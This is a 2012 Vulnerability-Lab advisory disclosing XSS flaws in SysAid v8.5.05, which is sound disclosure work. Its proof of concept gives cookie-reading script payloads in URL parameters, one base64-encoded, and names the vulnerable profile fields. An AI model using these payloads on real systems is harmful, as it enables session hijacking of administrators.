Title:
======
Ilient SysAid v8.5.05 - Multiple Web Vulnerabilities


Date:
=====
2012-03-08


References:
===========
http://www.vulnerability-lab.com/get_content.php?id=470


VL-ID:
=====
470


Introduction:
=============
SysAid IT Enterprise Edition is an IT management solution that includes a suite of advanced modules to help you manage 
complex processes often found in larger organizations. Specially built to provide you with advanced customization and scalability, 
SysAid IT Enterprise delivers the tools you need to meet any IT challenge - now and in the future.

Core Module(s):
Help Desk
Asset Management
Remote Control
End-User Web Portal
My Desktop
Mobile Application
Knowledge Base
Reports & Analysis
IT Benchmark
Online Chat
Calendar & Scheduling


Advanced Module(s):
Server Monitoring
Tasks and Projects
Manager Dashboard
CMDB
Password Services


Enterprise Module(s):
ITIL Package
Increased Customization
API and Advanced Integration
Multi-Site Support
SLA/SLM


Abstract:
=========
A Vulnerability Laboratory Researcher discovered multiple persistent and non-persistent Web Vulnerabilities in Ilients SysAid v8.5.05.


Report-Timeline:
================
2012-03-08:	Public or Non-Public Disclosure


Status:
========
Published


Affected Products:
==================
Ilient
Product: SysAid v8.5.05 


Exploitation-Technique:
=======================
Remote


Severity:
=========
Medium


Details:
========
Multiple non-persistent and persistent input validation vulnerabilities are detected on Ilient 
SysAid v8.5.05 and below. The bugs allow remote attackers to implement/inject malicious script 
code on the application side (persistent) and temporarily on the user side (non-persistent).
Successful exploitation of the vulnerability can lead to session hijacking (manager/admin) or 
stable (persistent) context manipulation.

1.1
Vulnerable Module(s): (Persistent)

									[+] Name & Information - Profile
									[+] User Management - Listing & Display
									[+] StartPage - Index

Picture(s):
									../1.png
									../2.png
									../3.png
									../4.png
									../5.png

1.2
Vulnerable Module(s): (Non Persistent)

									[+] ViewName
									[+] CustomListView
									[+] srType

Picture(s):
									../6.png
									../7.png


Proof of Concept:
=================
The vulnerabilities can be exploited by remote attacker with required user inter aciton. For demonstration or reproduce ...

1.1 - Persistent
All fields in the user-profile are vulnerable which are displayed somewhere on the frontend, like: Phone, Email or Name
To exploit the issue a user just need to include his own script code on his profile section & start a inter action.

Persistent(Frontpage):
<tablewidth="100%"cellspacing="5"cellpadding="5"border="0"class="Maxed">
<tbody><trvalign="top"><tdwidth="50%"style="padding:10px;"id="Container_1"><tableclass="MaxedContainerContainer_1">
<tbody><tr>
<tdclass="Container_Header">
<table>
<tbody><tr>
<tdclass="Container_Header_First">
<tdclass="Container_Header_Center">
Administratorsonline
</td><tdclass="Container_Header_Last">
</td>

</tr>
</tbody></table></td>
</tr>
<tr>
<tdclass="Container_Body">
<divclass="BorderFix_FFForm_Ctrl_Label">
<br/>
1Users<br/>
JulienAhrens<EXCUTES PERSISTENT SCRIPt CODE HERE!></div></td></tr></tbody></table></td></tr></tbody>
</table></div></td></tr></tbody></table></td></tr></tbody></table></td></tr></tbody></table></body></html>



1.2
Non-persistent XSS:
http://localhost:8080/sysaid/CustomizeListView.jsp?listName=Assets&listViewName=<script>alert(document.cookie)</script>

or base64 encoded:
http://localhost:8080/sysaid/CustomizeListView.jsp?listName=Service%20Requests&srType=1&listViewName=@BASE64@PHNjcmlwdD5hb
GVydChlc2NhcGUoZG9jdW1lbnQuY29va2llKSk8L3NjcmlwdD4=



Non-persistent(listViewName):

<tdcolspan="6"class="Frame_Body_Center">
<tablewidth="100%"border="0"class="Maxed">

<tbody><trvalign="top">
<tdstyle="padding:10px;"id="Conainer_1">
<tablewidth=""cellspacing="0"cellpadding="0"border="0">
<tbody><tr>
<td>
<tablewidth="100%"cellspacing="0"cellpadding="0"border="0"class="MaxedContainerContainer_1">

<tbody><tr>
<tdclass="Container_Header">

<table>
<tbody><tr>
<tdclass="Container_Header_First"/>
<tdclass="Container_Header_Center">
<palign="center"style="font-size:16px;">Customizelist-Assets-<EXCUTES PERSISTENT SCRIPt CODE HERE> 

</p></td></tr></tbody></table></td></tr></tbody></table></td></tr></tbody></table></td></tr>
</tbody></table></td></tr></tbody></table></form></body></html>


Risk:
=====
The security risk of the vulnerabilities are estimated as medium(-).


Credits:
========
Vulnerability Research Laboratory   -   Julien Ahrens  (MrTuxracer)  [www.inshell.net]


Disclaimer:
===========
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    						Copyright © 2012|Vulnerability-Lab


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